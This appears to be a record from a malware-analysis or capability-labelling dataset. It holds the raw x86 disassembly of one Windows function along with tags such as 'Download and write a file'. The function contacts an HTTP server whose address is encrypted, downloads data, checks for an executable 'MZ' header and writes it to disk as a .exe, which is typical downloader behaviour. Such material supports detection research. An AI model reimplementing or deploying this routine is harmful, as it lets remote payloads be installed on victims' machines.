Function at 0x402660
Capabilities:
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
mov eax, 0x1490
call fcn.00409160
push ebx
mov ebx, dword [esp + 0x1498]
push ebp
push esi
push edi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
lea edx, [esp + 0xc7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x20], ebp
mov eax, ecx
mov esi, edi
mov edi, edx
mov dword [esp + 0x18], ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x7c]
push ecx
push str.38F275C6368DB8DBAD602134CF9229344A13
call fcn.00408390
add esp, 8
lea edx, [esp + 0x7c]
lea eax, [esp + 0xc7c]
push edx
push eax
call fcn.0040f654
add esp, 4
push eax
push ebp
call fcn.00408790
add esp, 0xc
test eax, eax
jne 0x4026f1
lea edi, [esp + 0x7c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push ebp
push ebx
call fcn.00408a70
add esp, 0xc
push 0x412d98
push ebx
push ebp
call fcn.00408790
lea ecx, [esp + 0x888]
push ecx
push eax
push ebp
push ebx
call fcn.004086c0
lea edx, [esp + 0xc98]
push edx
push 0x412d98
push ebx
call fcn.00408a00
lea eax, [esp + 0xa4]
push eax
push str.3BCE5305AAB2E11B4E2E9A3E9B17663D8310CC05
call fcn.00408390
lea ecx, [esp + 0xac]
lea edx, [esp + 0x8ac]
push ecx
push edx
push ebp
call fcn.00408790
add esp, 0x3c
cmp eax, 0xffffffff
jle 0x402770
mov eax, dword [0x41212c]
lea ecx, [esp + 0x2c]
push eax
push 0x419790
push str._s_Ver_d
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x4027bc
mov edx, dword [esp + 0x14ac]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x402799
lea edx, [esp + 0x2c]
push edx
push str.3A09BD17CFD469AEF9D3673ED742A7CCB85875A403B2B0AADFEF8C4CC629C9F7AD81470CB3F371D86ABFE030CBAAADA3900F1C7C19CC77D454F46E40836237D4A1B89C0CF2FA4595034BBD5545FF99EB834B4D8C9A309D3EC3E1A35ADA2850A83BC691D02DA8C0FC
call fcn.00408390
add esp, 8
jmp 0x4027bc
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x2c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebp
push ebp
push ebp
lea ecx, [esp + 0x38]
push ebp
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
cmp ebx, ebp
mov dword [esp + 0x28], ebx
jne 0x4027e3
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1490
ret
push ebp
push ebp
push 3
push 0x41989c
push 0x41989c
lea edx, [esp + 0x890]
push 0x50
push edx
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x1c], ebp
jne 0x402821
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1490
ret
mov edi, dword [esp + 0x14b0]
mov eax, edi
sub eax, 0
je 0x402880
dec eax
je 0x402861
dec eax
jne 0x4028a8
push 0
push 0x80000000
push 0
push 0
lea eax, [esp + 0xc8c]
push str.HTTP_1.1
push eax
push 0x412c7c
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
mov dword [esp + 0x14], esi
jmp 0x4028ac
push 0
push 0x84003100
push 0
push 0
lea ecx, [esp + 0xc8c]
push str.HTTP_1.1
push ecx
push str.POST
jmp 0x40289d
push 0
push 0x84003100
push 0
push 0
lea edx, [esp + 0xc8c]
push str.HTTP_1.1
push edx
push 0x412c7c
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [esp + 0x14], eax
mov esi, dword [esp + 0x14]
test esi, esi
jne 0x4028ca
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call edi
push ebx
call edi
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1490
ret
lea eax, [esp + 0x47c]
push eax
push str.3DB239A4B8BE5C1191C3822125E0C9EAEA7BDAA00CC2E4F79E00166EEA5B45B2BC37C532F0F7F7DEAB4688E5A06F1DA8B59FC6FA2541182D6A1852E693CE83E0D96A465684059240BDA3D26D21A476055A30BDE0EB7D70CB5649C040DF5717E8DCCB6E232D2CA152BE9C3621787CE16AC5C7F2539735EB100B842D01A54783C1DB8B1A2A015704F584E531F66CE59CFDC38DA5198225E96F
call fcn.00408390
mov eax, edi
add esp, 8
sub eax, 0
je 0x402aa9
dec eax
je 0x4029d6
dec eax
jne 0x402b1a
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x402b1a
mov ecx, dword [esp + 0x14a8]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov ebp, dword [sym.imp.KERNEL32.DLL_WriteFile]
mov edi, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x7c]
push edx
push 0x400
push eax
push esi
call ebx
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4029c2
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x402991
cmp byte [esp + 0x7c], 0x4d
jne 0x402991
cmp byte [esp + 0x7d], 0x5a
jne 0x402991
mov ecx, dword [esp + 0x14a8]
push str..exe
push ecx
push 0
call fcn.00408790
add esp, 0xc
cmp eax, 0xffffffff
jle 0x402991
mov dword [esp + 0x20], 1
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x24]
push 0
push edx
lea ecx, [esp + 0x84]
push eax
push ecx
push edi
call ebp
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
add ecx, edx
test eax, eax
mov dword [esp + 0x18], ecx
jne 0x40293d
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
jmp 0x402b1e
mov ebp, dword [esp + 0x14a8]
mov ebx, dword [sym.imp.WININET.dll_HttpSendRequestA]
xor esi, esi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x47c]
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ebp
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x488]
push eax
push ecx
call ebx
test eax, eax
jne 0x402a29
inc esi
cmp esi, 3
jl 0x4029e5
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
jmp 0x402b1e
mov edi, 0x41989c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
xor ebx, ebx
rep movsb byte es:[edi], byte [esi]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x80]
push 0x400
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x402a9f
mov edx, dword [esp + 0x14b4]
lea eax, [ecx + ebx]
cmp eax, edx
jae 0x402a9b
mov edx, ecx
lea esi, [esp + 0x7c]
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
add ebx, ecx
test ecx, ecx
jne 0x402a4d
mov byte [ebx + ebp], 0
mov ebp, dword [esp + 0x1c]
jmp 0x402b1e
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x402b1e
mov ebp, dword [esp + 0x14a8]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x7c]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x402b10
mov eax, dword [esp + 0x14b4]
lea edx, [ecx + ebx]
cmp edx, eax
jae 0x402b0c
mov eax, ecx
lea esi, [esp + 0x7c]
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
add ebx, ecx
test ecx, ecx
jne 0x402ac1
mov byte [ebx + ebp], 0
mov ebp, dword [esp + 0x1c]
jmp 0x402b1e
mov ebx, dword [esp + 0x18]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call edi
mov ecx, dword [esp + 0x28]
push ecx
call edi
cmp dword [esp + 0x14b0], 2
je 0x402b4c
mov eax, ebx
pop edi
neg eax
sbb eax, eax
pop esi
neg eax
pop ebp
dec eax
pop ebx
add esp, 0x1490
ret
mov ecx, dword [esp + 0x20]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x1490
ret